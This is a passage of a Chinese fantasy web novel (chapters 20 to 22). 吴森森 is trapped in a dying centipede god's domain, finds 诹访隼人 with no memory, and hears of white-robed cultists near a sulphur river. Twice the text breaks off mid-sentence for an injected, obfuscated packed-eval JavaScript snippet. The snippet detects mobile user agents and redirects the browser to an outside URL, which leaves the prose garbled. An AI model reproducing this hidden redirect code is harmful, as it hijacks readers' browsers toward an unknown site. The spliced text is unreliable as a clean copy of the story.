水能化为任意形态的攻击,灵活,高速,且无情。 甚至整个人与水流融为一体,化作一道蓝紫色的激流,以不可思议的速度在大百足身周穿梭、切割,留下道道伤痕。 他的攻击同样毫不留情,甚至带着一种摧毁眼前一切污秽的偏执。 高压水刃斩断碍事的树木,激流冲垮岩石,使得战场更加狼藉。 然而荒攻击中蕴含的那股净化特性,在造成伤害的同时,也遏制了大百足毒液和邪气的持续蔓延。 被水刃斩过、被激流冲刷过的地方,虽然物理上被破坏,但残留的毒液腐蚀效果会被迅速中和、净化,污浊的鬼神气息也会被驱散,避免了这片区域彻底沦为死地。 这仿佛是流川之主力量的本能——涤荡污浊,即便方式狂暴。 战斗陷入胶着。 双方都在消耗,周围环境已是一片狼藉,草木凋零,岩石崩裂,溪水被毒液和战斗余波污染。 大百足的嘶吼越来越狂躁痛苦,身上伤口不断增多,邪气翻滚不定。 荒眼中的蓝紫光芒也略显不稳,持续的爆发和力量输出显然对他这具不完全的躯体也是巨大负担,周身水流不再是稳定可随心所欲地操控。 就在这僵持不下、双方都可能濒临极限的时刻,一道身影从林间疾奔而出,正是循着森鹿祝福指引而来的吴森森。 “荒,我来了。”吴森森喊到,但是他马上察觉到荒的状态不对。 20. 大百足的域 吴森森的呼喊在激烈的战斗声中显得微弱,但他臂上藤蔓纹身骤然亮起的翠绿光华,却如同黑夜中的灯塔,瞬间吸引了战场上双方的注意。 随着他心念催动,右臂上那串精致的纹身仿佛活了过来,三朵含苞待放的花苞几乎在同一时间悄然绽放! 绽放的并非实体花朵,而是三道清晰可见的、由纯粹生命能量构成的绿色光晕,从纹身中流淌而出,带着清新的草木芬芳与磅礴的自然意志。 “簌簌簌——!” 周围的树木、藤蔓、乃至地面的杂草,仿佛瞬间被注入了灵魂,响应着森林祝福的召唤! 数条粗壮的树枝如同活蛇般从附近的古木上弹射而出,坚韧的藤蔓破土而出,带着新叶的气息,还有地面蔓延的草叶迅速疯长、交织——它们的目标并非单一,而是同时卷向了激战中的双方! 荒正欲再次发起冲锋,狂暴的沸腾水流在他周身咆哮。 然而,那些带着自然气息的绿色束缚却出乎意料地轻柔而坚定地缠上了他的手腕、脚踝和腰身。 树枝与藤蔓并非要伤害他,而是形成了一种温和却坚韧的禁锢,试图限制他过于暴烈的动作,并将他与大百足暂时隔开。 与此同时,一股清凉、充满生机的自然之力顺着束缚传来,试图平复他那沸腾失控的水流与狂躁的心神。 吴森森看得很清楚,荒的状态极不正常。那双竖瞳中几乎看不到属于“诹访隼人”的理智与情感,只剩下流川之主力量的冰冷怒意与毁灭冲动。 他的攻击虽然能净化邪气,但那种不分敌我、破坏一切的方式,以及他自身逐渐不稳的气息,让吴森森担心再战下去,荒可能会先一步被自己的力量反噬。 “先控制住他,让他清醒过来!” 这是吴森森瞬间的判断。 对于大百足,当带着森林祝福力量的藤蔓同样试图缠绕它时,这头堕落的百足神并未像预料中那样挣扎或愤怒地撕扯。 它那庞大的身躯猛地一顿,竟然放弃了抵抗,任由几根较细的藤蔓缠上了它几对步足。 紧接着,它做出了一个让吴森森心头警铃大作的举动——它那长长的身躯中部,第七个环节的外壳,突然剧烈地向内塌陷、扭曲,表面浮现出复杂而邪异的暗紫色符文! 符文闪烁不定,散发出令人心悸的不祥光芒。 与此同时,大量灰白色、带着刺鼻硫磺与腐朽气息的浓雾,如同决堤的洪水,从大百足周身每个关节缝隙、口器、甚至受伤的伤口处疯狂喷涌而出! 雾气扩散的速度极快,瞬间将大百足自身、以及被藤蔓缠绕的荒、还有不远处的吴森森一同淹没! “不好!它在释放‘域’!而且是……自毁式的!” 吴森森脑海中闪过。 这头堕落的百足神,在意识到无法取胜,甚至可能被荒的净化之力和森林祝福双重克制后,竟然选择了最极端的方式——燃烧自身最后的邪力与本源,强行展开一个特殊的‘域’,将敌人拉入其中,同归于尽,或者至少重创! “荒!快退!” 吴森森嘶声大喊,同时拼命催动藤蔓,想将荒从那灰雾中心拉出来。 但已经晚了。 荒被藤蔓束缚,动作本就受限,更主要的是,他此刻神志不清,面对汹涌而来的灰雾和其中蕴含的、扭曲空间的邪异力量,他非但没有后退,眼中蓝紫光芒反而更盛,周身沸腾水流更加狂暴,似乎想要硬撼这自毁的领域。 灰雾的扩散速度远超藤蔓拉扯的速度。 几乎就在吴森森喊出声的下一刹那,浓稠的、隔绝视线的灰雾便彻底吞没了荒的身影,也朝着吴森森席卷而来! 吴森森只来得及看到荒最后那双充满混乱与怒意的竖瞳,以及大百足第七环节那爆发出刺目暗紫色光芒的核心,便被无边无际的灰雾笼罩。 天旋地转,空间置换。 熟悉的失重与剥离感再次袭来,但与上次被“窗户”拉入苔原之域不同,这次的感觉更加暴烈、混乱,充满了绝望与毁灭的气息。 当吴森森双脚再次踏上“实地”,灰雾已然散去。 他发现自己站在一条狭窄、破旧、充满年代感的小巷里。 地面是凹凸不平的湿滑石板,缝隙里长着青苔。 两侧是低矮的、墙皮剥落的木质或砖混结构房屋,窗户大多紧闭,有些玻璃破损,用木板钉着。 晾衣杆从窗户伸出来,挂着一些颜色暗淡、款式老旧的衣物。 空气中弥漫着一股潮湿的霉味、淡淡的煤烟味,以及一种难以言喻的、陈旧生活的气息。 天空是一成不变的、铅灰色的阴霾,看不到太阳,也没有云层流动,光线均匀而沉闷,仿佛时间在这里凝固。 小巷向前后延伸,一眼望不到头,两侧有无数的岔道和小门,布局复杂得像迷宫。 一切看起来都“正常”得诡异——正常的旧巷景象,远处隐约传来模糊的、听不真切的人声或收音机声,正常的陈旧感。 但正是这种“正常”,在这种环境下显得格外虚假、压抑,令人窒息。 吴森森立刻警惕地环顾四周。 荒不见了。 大百足也不见了。 只有他一个人,站在这条仿佛上世纪某个贫民区截取出来的、无限延伸的灰暗小巷中。 臂上的藤蔓纹身依然散发着微弱的绿光,三朵绽放的小花光芒流转,提醒着他森林祝福的力量仍在,不过随着他不再催动力量,开始慢慢闭合。 但他与外界森林的联系仿佛被一层厚厚的隔膜挡住了,变得模糊而遥远。 “这是……大百足的‘域’?” 吴森森握紧拳头,强迫自己冷静下来,“自毁式的域……会有什么规则?荒在哪里?大百足又藏在哪里?” 他试图调动森林祝福的力量去感知,但反馈回来的信息杂乱而微弱,只能隐约感觉到这个“域”充满了怨念、不甘、对过往的执着,以及一种濒临崩溃的毁灭倾向。 吴森森知道,他必须尽快找到荒,并在这个诡异而危险的“域”彻底崩毁或被大百足最后的疯狂吞噬之前,找到离开的方法。 否则,他们可能真的要给这头堕落的百足神陪葬了。 ———— 明治之森,东北溪谷。 战斗的余波尚未完全平息,空气中依旧残留着大百足毒液的刺鼻腥臭、沸腾水流的异常水汽,以及灰白色自毁迷雾带来的硫磺与腐朽气息。 原本清幽的溪谷此刻满目疮痍:草木成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016493|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片枯萎碳化,岩石布满腐蚀坑洞和斩击裂痕,地面焦黑板结,溪水浑浊不堪。 而在这一切的中心,一团浓稠、翻滚的灰白色迷雾如同有生命的活物般凝聚不散,直径约十数米,隔绝了内外视线与大部分能量感知,只隐约能感到其中传来的空间扭曲与不祥波动。 那正是大百足燃烧自身邪力与本源,强行展开的自毁之域的入口,也是它将荒和吴森森一同拖入的绝命陷阱。 溪谷边缘,一处未被战斗波及、阴影笼罩的岩石后,悄无声息地转出一个身影。 那是一个年轻的男性,穿着普通的休闲服,正是与吴森森同车前来、在森林中失踪的小林。 然而,此刻的他,与画室里那个内向、喜欢玩点“小魔法”的腼腆男生判若两人。 他的脸上没有了平日的局促或好奇,取而代之的是一种超然物外的平静,甚至带着一丝淡淡的、与年龄不符的悲悯与疏离。 最引人注目的是他手中提着的一盏灯,并非现代的手电或露营灯,而是一盏样式古朴的球形纸灯,骨架似乎是某种柔韧的细竹,糊着泛黄的宣纸。 灯内没有蜡烛或灯泡,却静静燃烧着一团幽冷、森然的碧绿色火焰,火光稳定却毫无温度,映照着他平静无波的脸庞,更添几分诡秘。 那火焰的光芒似乎有生命般微微摇曳,将周围一小片区域染上阴森的绿意。 现在的他比那提灯人影更不像生人。 随着他脚步落下,奇异的现象发生了。 他脚下湿润的泥土、腐败的落叶、甚至焦黑的战斗残迹上,竟然以肉眼可见的速度,钻出一簇簇散发着微弱荧光的小蘑菇。 这些蘑菇形态各异,有的像小巧的伞盖,有的如同纤细的珊瑚,颜色是诡异的苍白或淡蓝,菌盖上点缀着点点磷光,在幽绿灯火的映衬下,如同生长在冥府的小精灵。 它们只在小林落脚处附近生长,绝不蔓延到远处。 更奇怪的是,森林中原本无处不在的萤火虫——无论是常见的黄绿色种类,还是那些幽蓝青绿的“腐草萤”——此刻都远远地避开了小林所在的范围,仿佛他周身存在着某种令它们畏惧或不适的场域。 就连空气中残留的、属于森鹿祝福的清新自然气息,在靠近他时也似乎变得淡薄、凝滞。 小林就这样提着幽火纸灯,踏着自动生长的荧光蘑菇,缓缓走到了那团翻滚的灰白迷雾前。 他没有试图靠近或触碰迷雾,只是静静地站在几步开外,目光穿透幽绿的灯火,落在眼前这片战斗的残骸与不祥的领域入口上。 他看了一会儿那片迷雾,又环顾了一圈周围被破坏得面目全非的自然环境。 最终,他什么也没有说。 没有尝试救出被困域中的荒和吴森森,没有对眼前这惨烈的景象发表任何评论,甚至没有流露出任何多余的情绪。 只是轻轻地摇了摇头,动作幅度极小,仿佛只是对某个早已预见的、令人遗憾的结果,表示一种无声的叹息。 然后,他转过身,提着那盏燃烧着森然鬼火的球形纸灯,踏着脚下自动生长又迅速枯萎的荧光蘑菇,悄无声息地离开了这片狼藉的溪谷,身影很快没入茂密的森林阴影之中,仿佛从未出现过。 21. 百足巷 吴森森站在原地,警惕地观察着四周。 右臂上,那三朵因动用森林祝福之力而绽放的翠绿小花,在没有持续催动力量的情况下,光芒逐渐内敛,花瓣也缓缓收拢,重新变回了含苞待放的状态,只留下微弱的绿意在藤蔓纹路中流淌,如同沉睡。 他尝试感知森林的联系,依旧被厚厚的“域”之壁障阻隔,反馈模糊。 荒和大百足不知所踪,这个“域”充满了一种濒临崩溃前的死寂与扭曲感,与之前苔原之域那种明确的“困缚与汲取”不同,这里更倾向于“混乱、回忆与最终的湮灭”。 不能坐以待毙。吴森森深吸一口气,决定沿着这条狭窄的巷子向前探索。 脚下的石板湿滑,两旁老旧的房屋如同沉默的巨人,投下浓重的阴影。 远处那些模糊的人声和收音机声似乎永远保持在固定的距离,无法靠近,也无法听清具体内容。 走了大约十几分钟,拐过几个看似相同又略有差异的岔口,周围的景象几乎没有变化,天空依旧是那片凝固的铅灰。 就在吴森森开始怀疑自己是否在兜圈子时,前方巷子口出现了一点不一样的光景。 一个低矮的、爬满青藤的木门虚掩着,门内似乎是一个小小的院落。 更引人注目的是,木门旁的门柱上,挂着一串已经干枯褪色、但依稀能看出原本是红色的辣椒和玉米,这是东关地区农村常见的装饰。 就在吴森森犹豫是否要上前查看时,木门“吱呀”一声被推开了。 一位老婆婆走了出来。她看起来年纪很大,背有些佝偻,穿着洗得发白的、传统的东关地区农村妇女的劳作服饰——深蓝色的筒袖和服,外面系着深色的围裙,花白的头发在脑后挽成一个整齐的发髻。 她手里拿着一个竹编的簸箕,里面似乎装着一些豆子,正打算出来晾晒或者挑选。 老婆婆的面容慈祥,布满皱纹,但眼神清澈温和,看到站在巷子里的吴森森,她愣了一下,随即脸上露出和蔼的笑容。 “哎呀,这位年轻人,怎么站在这里发呆?是迷路了吗?” 老婆婆的声音有些苍老,但吐字清晰,带着东关地区特有的口音。 吴森森心中警铃大作。 在这个充满邪异、由堕落的百足神展开的自毁之域里,突然出现一个看起来完全正常、和蔼可亲的老婆婆?这太不正常了! 他立刻调动全部感知,仔细观察老婆婆——气息、体温、动作细节、甚至影子……一切如常。 没有妖气,没有鬼气,没有那种“域”中造物常见的虚假感或扭曲感。 她就像一个真实生活在某个东关农村小巷里的普通老妇人。 这怎么可能?难道这个“域”的规则如此诡异,能创造出如此完美无缺的“正常人”? 或许是吴森森脸上的戒备和疑惑太过明显,老婆婆又笑了笑,放下簸箕,拍了拍手上的灰:“看你的样子,不像是这附近的人。是来走访亲戚,还是……遇到什么难处了?这巷子弯弯绕绕的,生人确实容易走丢。要不,进来坐坐,喝口热茶?我这儿刚煮了麦茶。” 她的邀请自然又真诚,眼神里只有纯粹的善意和一点点对陌生年轻人的好奇。 吴森森敏锐的灵感告诉他,这份善意是真实的,至少在这个瞬间,从这个老婆婆身上散发出来的,是毫无恶意的、属于人类的温暖。 是陷阱吗?用极致的真实和善意来麻痹闯入者?还是……这个“域”本身出现了某种“裂痕”或“异变”? 吴森森犹豫了几秒,但想到自己被困于此,或许能从这位看似普通的老人身上得到一些关于这个“域”的线索,哪怕只是只言片语。而且,他臂上的森林纹身也没有预警危险。 “那就……打扰您了。” 吴森森微微鞠躬,用上了敬语。 “不打扰,不打扰,快进来吧。” 老婆婆热情地招呼着,推开木门。 就在吴森森踏进小院的一刹那,整个世界仿佛瞬间“活”了过来! 原本巷子里那种模糊不清、如同隔着一层毛玻璃的背景音——远处的人声、隐约的收音机声、甚至风吹过屋檐的细微响动——突然变得清晰可闻。 他能听到隔壁院子里的鸡鸣,能听到更远处孩子们嬉戏的笑声,能听到风吹动树叶的沙沙声,甚至能听到老婆婆院子里水缸旁,一只蟋蟀的鸣叫。 更重要的是,头顶那片永恒不变的铅灰色天空,竟然裂开了一道缝隙,一缕真实的、温暖的、金灿灿的阳光从中投射下来,正好落在小院的石板地上,照亮了墙角盛开的几盆不知名的野花,也照亮了老婆婆慈祥的笑脸。 小院不大,但收拾得干干净净。角落堆着整齐的柴火,屋檐下挂着风干的萝卜和柿饼,一口老井旁放着木桶,几盆花草生机勃勃。 一切都充满了生活气息,与外面那条死寂、灰暗、迷宫般的小巷形成了天壤之别。 吴森森站在院中,沐浴着那一缕宝贵的阳光,感受着周围清晰鲜活的声音与景象,心中的震惊无以复加。 这还是百足神的“域”吗? 一个惊人的猜测浮现在吴森森脑海: 难道……这里并非百足神堕落扭曲后的疯狂造物,而是它内心深处,尚未堕落、仍受人香火供奉、作为“百足神”守护一方时的…在这个自毁的域中,形成的唯一一块“净土”? 如果真是这样,那么这位老婆婆,很可能就是当年信仰、供奉百足神的村民之一,甚至是与百足神有某种特殊因缘的人。 她的存在,是这个崩溃领域中最后的“正常”与“温暖”的锚点。 吴森森按捺住心中的波澜,跟着老婆婆走进她那同样简朴却整洁的屋内。老婆婆给他倒了一杯温热的麦茶,茶香质朴。 “年轻人,从哪里来啊?怎么会走到我们这穷乡僻壤来?” 老婆婆坐在他对面,一边挑拣着簸箕里的豆子,一边温和地问道。 吴森森捧着温热的茶杯,感受着掌心传来的真实温度,看着眼前这位慈祥的老人,心中充满了复杂的情绪。 他该如何回答?说自己是来自未来的留学生,被困在一个堕落神灵的自毁领域中? ———— 小院内的宁静被突如其来的喧哗打破。 一个约莫七八岁、脸蛋红扑扑的孩童气喘吁吁地跑进院子,看到坐在屋内的吴森森时明显愣了一下,显然对这个陌生的年轻人出现在梅婆婆家感到意外。 但他很快回过神来,急切地对正在挑豆子的老婆婆喊道:“梅婆婆!梅婆婆!不好了!巷子口那边,来了个怪人!” 老婆婆闻言立刻放下手中的簸箕,站起身,脸上露出关切而非惊慌的神色:“怪人?莫急,慢慢说,什么样子?” “衣服破破烂烂的,头发也乱糟糟的,眼神……眼神直勾勾的,好像迷路了,又好像什么都不记得了!大家围着他,问他话他也不怎么答,就想往巷子里走,被拦住还有点……有点想动手的样子!” 孩童比划着,语气里带着紧张和好奇。 吴森森心中一紧,立刻联想到失踪的荒。他连忙起身:“婆婆,我跟你一起去看看。” 梅婆婆看了他一眼,点了点头,没有多问,步履稳健地朝院外走去。吴森森紧随其后。 巷子口已经围了不少村民,男女老少都有,穿着都是几十年前东关农村常见的朴素服饰。 他们围成一个半圆,低声议论着,眼神里充满了警惕、好奇,还有一丝不易察觉的……对陌生事物的排斥。 人群中心,站着一个男人。 正是诹访隼人——或者说,是诹访隼人的身体。 但他此刻的样子与吴森森熟悉的“荒”截然不同。 他身上那件原本就不甚讲究的衬衫变得破烂不堪,沾满了泥土和疑似搏斗留下的污渍,好几处都被撕裂。 最让吴森森瞳孔收缩的是,诹访隼人背上那片华丽而神秘的流川之主纹身——消失了! 那里只剩下一片略显苍白的皮肤。 他的眼神不再是荒那种时而散漫时而锐利、时而带着古老神性威严的样子,而是充满了迷茫、困惑,甚至有一丝惊恐。 他完全不认识周围的环境和人,对村民的询问要么沉默以对,要么发出一些含糊的音节。 当有村民试图靠近或阻拦他时,他会下意识地做出防御或攻击的姿态,手指无意识地掐诀,似乎想使用什么术式,但指尖只闪过极其微弱、随即湮灭的灵光,显然体内的力量要么被严重压制。 看到小岛梅和吴森森走来,人群自动让开一条路。 诹访隼人也似乎感应到了什么,猛地转过头,视线穿过人群, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016494|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在了吴森森身上。 四目相对。 吴森森的心沉了下去。他从诹访隼人的眼中,看到的只有彻底的陌生。 没有认出他是谁,没有对当前处境的判断,只有一片空白的混乱和隐约的戒备。 这不是“荒”。 吴森森立刻明白了。这是被“荒”——那个由流川之主碎片与诹访隼人核心意识融合而成的混合体——压制在意识最底层、属于“诹访隼人”本人的原始意识! 当“荒”在外部激战大百足,尤其是最后被拉进它的域中后,消失了。 而诹访隼人却因为长期被压制以及与流川之主力量的割裂,处于一种失忆、迷茫、力量无法调用的状态。 那么,流川之主的碎片意识呢? 吴森森警惕地感知四周,但除了这片“净土”本身的宁静祥和,以及诹访隼人身上微弱的波动,他感觉不到任何属于流川之主的奔腾水意或古老威严的力量。 难道流川之主的意识碎片也被打散、压制,或者潜伏在诹访隼人体内某个深处,暂时无法显现? 还是说落在了域的某处? “大家别慌,别围着了,散开些,别吓着这位客人。” 梅婆婆走到人群前,声音温和却带着一种令人信服的沉稳。 她先安抚了村民,然后走到诹访隼人面前几步远停下,没有贸然靠近,只是用平和的目光打量着他。 “年轻人,你从哪里来?叫什么名字?是不是遇到什么难处了?” 梅婆婆的声音不急不缓,带着长辈特有的慈祥与包容。 诹访隼人看着她,眼中的戒备似乎减少了一些,但迷茫依旧。 他张了张嘴,似乎想说什么,却又发不出清晰的声音,最后只是痛苦地摇了摇头。 周围的村民见梅婆婆出面,情绪也稳定了不少。 吴森森趁机观察四周,并悄悄感知村民们的反应。 他发现自己似乎很容易获得这些村民的好感与信任,几个原本对他这个陌生面孔有些警惕的村民,在与他目光接触后,眼神都柔和了许多,甚至有人对他点了点头。 这显然不是他个人的魅力,而是臂上森鹿祝福带来的、与自然生灵亲和力增强的效果在起作用。 从村民零散的议论中,吴森森也捕捉到了一些关键信息: “百足巷怎么老是来怪人……” “梅婆婆在就没事,她会处理的。” “还是小岛梅会处理这些事情…” “那位小哥看着倒挺面善……” “百足神保佑,可别出什么乱子……” 百足巷。这里果然与百足神有关,甚至可能就是它信仰核心区域的记忆投影。 而小岛梅婆婆,不仅是这条巷子里受人尊敬的长者,似乎还兼任着百足神小神社的管理者。 虽然这种乡村级别的民间信仰,通常没有严格意义上的神職,但像梅婆婆这样德高望重、负责日常清扫、供奉、传达神意的人,往往就是信仰的实际核心,深受村民信赖。 “看来是遭了难,暂时想不起事了。” 梅婆婆观察了片刻,做出了判断。她转向村民们,“大家都散了吧,该忙什么忙什么去。这位……就先安置在我这里,等他缓缓,说不定能想起些什么。这位小哥也是远道而来的客人,暂时没处落脚,也一并在我这儿歇息。” 村民们对梅婆婆的决定显然很信服,纷纷点头,又好奇地看了几眼诹访隼人和吴森森,便三三两两地散去了,巷子口很快恢复了平静。 梅婆婆这才转向吴森森和依旧茫然的诹访隼人,和蔼地说:“家里简陋,就一间空着的客房,本来是给偶尔回来的孙子准备的。今晚恐怕要委屈你们两位挤一挤了。先跟我回去吧,洗把脸,换身干净衣裳,好好休息一下。有什么事,等精神头好了再说。” 吴森森连忙道谢:“多谢梅婆婆收留,给您添麻烦了。” 他一边说,一边小心地靠近诹访隼人,试图用平和的眼神和语气传递善意,“别担心,我们先跟婆婆回去,这里很安全。” 诹访隼人似乎对吴森森有稍微多一点的反应,也可能是森鹿祝福的亲和力起了作用,他眼中的警惕又消散了一些,虽然依旧迷茫,但还是僵硬地点了点头,默默跟着梅婆婆和吴森森,朝那座充满生活气息的小院走去。 22. 硫磺河 傍晚时分,梅婆婆的小院里飘起了炊烟。 虽然环境古朴,食材有限,但梅婆婆还是尽其所能,准备了一顿简单的晚餐:糙米饭,一小碟腌渍的野菜,一碗清澈的豆酱汤,还有两条不大的烤鱼,大概是白天从附近溪流里捕来的。 对于吃惯了现代丰富饮食的吴森森来说,这顿饭堪称简陋,味道也偏咸偏淡,但他深知在这个诡异的地方能有热食已属不易,更何况梅婆婆是真心款待,便也心怀感激地吃得干干净净。 诹访隼人的表现则让吴森森有些意外。 他起初有些拘谨和茫然,但在梅婆婆温和的招呼下,也慢慢拿起了筷子。 他的用餐礼仪堪称典范,“食不言寝不语” 被他贯彻得极好,动作虽然因为身体的不适而略显僵硬迟缓,但一举一动都透着古老家族良好的教养,与“荒”那种随性不羁的风格大相径庭。 他吃得不多,但很认真,对每一样食物都细细咀嚼,仿佛在借此确认自己真实存在于这个世界上。 饭后,梅婆婆收拾了碗筷,又给两人泡了粗茶。 摇曳的油灯光晕下,小屋里弥漫着一种难得的安宁。 或许是这样的氛围,或许是热茶下肚后身体舒缓了一些,一直沉默的诹访隼人忽然开口了,声音有些干涩沙哑,但逻辑比下午清晰了不少。 “这里……是哪里?”他看着杯中袅袅的热气,眼神依旧迷茫,但不再是完全的空白,“我记得……我在流川边……遇到了袭击,很混乱……然后掉进了水里,水流很急……再醒来,就在那条巷子里了……” 他揉了揉太阳穴,眉头紧锁,“这里……离流川远吗?我好像走了很久,又好像只过了一会儿……时间感很乱。” 吴森森心中一动。诹访隼人的记忆停留在了三年前他遭遇袭击、坠入流川、并与流川之主碎片融合成“荒”之前的那一刻! 他完全没有“荒”存在期间的记忆,也不知道自己身上发生了什么巨变。 他把当前的处境,理解为被流川的激流冲到了某个陌生的、类似东关风格的村庄,只是身体有些不适,记忆有些断片。 “这里……具体地名我也不清楚,”吴森森斟酌着用词,暂时不打算点破“域”的真相,那可能会刺激到目前状态不稳的诹访隼人,“是一位好心的梅婆婆收留了我们。梅婆婆说,这里叫‘百足巷’,村民们信奉‘百足神’。” 他一边说,一边观察着诹访隼人的反应。当听到“百足神”三个字时,诹访隼人的眼神似乎闪烁了一下,但很快又恢复了迷茫,只是低声重复:“百足神……东关地区的乡土信仰……略有耳闻。” 梅婆婆此时正好端着一盘自家晒的地瓜干进来,听到他们的对话,便自然地接过了话头,仿佛在给两个迷路的年轻人讲述本地的风土人情。 “是啊,我们百足巷,世代都受百足神的庇佑。”梅婆婆的语气里带着虔诚和感激,“听老辈人说,很久以前,村子旁边那条河的上游,不知怎么地涌出了硫磺,整条河变得又烫又臭,根本没法喝,浇地庄稼都死。那时候,是百足神显灵,亲自为我们钻了一口深井,井水甘甜清凉,救了全村人的命。” 她指了指院子里那口看起来有些年头的石井:“院子里是村民从原来那口井继续引出来的,到现在还用着呢,水可甜了。” 吴森森和诹访隼人都看向那口井。在油灯光线下,井口石圈泛着温润的光泽,确实透着一股历经岁月的古朴感,也隐约能感觉到一丝微弱的、沉淀的灵性。 “还不止呢,”梅婆婆继续道,脸上露出骄傲的神色,“百足神知道我们靠山吃山,山里蛇虫多,还赐福让我们学会了用那条硫磺河的河水,加上几味草药,制作一种特殊的药粉。进山的时候在身上撒一点,蛇虫都不敢近身,可管用了!这方子,一代代传下来,是我们百足巷的宝贝。” 利用被污染的硫磺河水制作驱虫药粉?这听起来像是某种因地制宜、化害为利的智慧,也侧面印证了百足神最初确实是一位庇护村民、与自然共生的善神。 然而,梅婆婆接下来的话,让屋内的气氛微微凝重起来。 “不过啊,最近村子里……不太平。”梅婆婆的眉头皱了起来,压低了声音,“来了好些个外人,看着就不像寻常过路的或者做生意的。” 吴森森立刻警觉:“外人?什么样的外人?” “穿着白色的衣服,上面绣着红色或者紫红色的花纹,样式怪得很,不像我们平时穿的。” 梅婆婆回忆着,脸上带着困惑和一丝不易察觉的忧虑,“他们人不少,看着像是有组织的,有个领头的,话不多,但其他人都听他的。神出鬼没的,有时候在村子附近转悠,有时候又消失在山里好几天。问他们是干什么的,只说是‘采药的’或者‘寻矿的’,可看他们的样子,哪像干这些活计的?” 吴森森的心脏猛地一跳。这个描述,与桐岛凛和高宏亮他们提到的、可能涉及“生贽之会”的邪教分子特征何其相似! 难道,在这个百足神尚未完全堕落的记忆时间段里,那些邪教徒就已经开始活动了?他们的目标,难道是…… 梅婆婆没有察觉吴森森内心的震动,继续说道:“自从这些人来了以后,山里头就怪事不断。先是有人发现,好些个野兽、蛇虫,成群结队地死在山涧里、林子深处,身上没看见外伤,就是干瘪瘪的,像是……像是被吸干了精气神儿似的。大家伙儿都害怕,不敢再轻易进山了。” 她叹了口气,眼中流露出深深的担忧:“最让人不安的是,百足神大人……最近似乎也有些‘悸动’。供奉在神龛前的净水,有时候会无缘无故变得浑浊;夜里能听到山里头传来像是……像是很大的虫子翻身、痛苦的呜咽声;去山里祭拜的人,回来说感觉神龛附近的气息都变了,冷飕飕的,让人心里发毛。” 吴森森和诹访隼人对视一眼。梅婆婆的描述,清晰地勾勒出了一条时间线: 这很可能就是百足神走向堕落的开端! 邪教徒的到来,他们的邪恶活动,污染了山林,戕害了生灵,动摇了信仰的根基,最终可能通过某种方式引诱、污染、甚至强制改造了原本庇护一方的百足神,使其逐渐走向疯狂和堕落,为了维持力量不惜吞噬他处生灵,最终变成了他们在现实世界中遇到的那副狰狞模样。 而他们现在所处的这个“域”,这个看似宁静祥和的“百足巷”,或许就是百足神内心深处,对这段尚未被完全污染、仍保有最后一丝纯净与守护执念的时光的记忆投影。 是它神性中最后的“善”与“美好”的碎片,在这自毁的领域中形成的避风港。 诹访隼人虽然记忆不全,但显然也意识到了问题的严重性。他放下茶杯,沉声问道:“婆婆,那些穿白衣服的怪人,最近一次出现是什么时候?他们通常在哪里活动?” 梅婆婆想了想:“前天还有人看到他们在后山那边晃悠。具体在哪活动……说不准,神出鬼没的。不过,有人猜他们可能在山里废弃的硫磺矿洞那边落脚,那地方偏,一般人不去。” 硫磺矿洞!吴森森记下了这个关键地点。那里很可能就是邪教徒当时的据点,也是他们进行邪恶活动的场所! “梅婆婆,谢谢您告诉我们这些。”吴森森诚恳地道谢,“夜已深,您早些休息。我们……也再想想办法。” 梅婆婆点点头,又嘱咐了几句,便起身回了自己的房间。 狭小的客房里只剩下吴森森和诹访隼人。油灯的光晕将两人的脸庞映照得忽明忽暗。 “诹访……先生,”吴森森斟酌着开口,“关于那些白衣人,还有百足神的异常,你怎么看?” 诹访隼人沉默了片刻,那双依旧带着迷茫的眼睛里,渐渐凝聚起属于神社继承人、属于驱魔者后裔的冷静与决断。 “虽记忆有缺,但此事……关乎一地信仰存续,生灵安危,非比寻常。”他缓缓说道,声音虽轻,却带着不容置疑的认真,“我等既逢此变,自当查个明白。明日……可否劳烦小哥,与我同往那硫磺矿洞一探?” 吴森森看着眼前这个既熟悉又陌生的诹访隼人,点了点头。 “好,一起去。” ———— 清晨的百足巷笼罩在一层薄雾中,空气清新,带着草木和泥土的气息。 梅婆婆早早起来,为两人准备了简单的早饭——饭团和热汤。 当得知他们打算去硫磺矿洞附近查探时,梅婆婆虽然担忧,但并未阻拦,只是再三叮嘱要小心,并找来了村里的一个年轻人给他们带路。 年轻人名叫中田琳,看起来十六七岁,皮肤是常年劳作风吹日晒的健康黝黑,身形偏瘦,但绝不是瘦弱。 他穿着便于山行的粗布短打,裤腿扎紧,脖子上有一块石头,圆角矩形的样子,上面好像还有两个字。 “方寸”? 当他在前面带路,灵活地翻越岩石、攀爬陡坡时,偶尔露出的手臂和小腿肌肉线条清晰流畅,甚至能隐约看到薄衫下结实平坦的腹肌轮廓,显然是常年穿行山林的精壮体魄。 他话不多,眼神里带着山村少年特有的质朴和一丝对吴森森这两个“外来怪人”的好奇。 “琳,这二位客人想看看后山矿洞那边,你对路熟,带他们走一趟。记住,只在外面看看,千万别进洞,也别靠硫磺河太近,那水烫人。” 梅婆婆郑重叮嘱。 “知道了,梅婆婆。” 中田琳点点头,背起一个小布包,里面装着水壶、干粮和一小包村里自制的驱虫药粉,“跟我来吧,路有点远,不好走。” 三人离开百足巷,沿着村民踩出的小径,向山林深处进发。 诹访隼人虽然失忆,但身体素质似乎并未受到影响,步履稳健,只是眼神依旧带着对周遭环境的陌生与警惕。 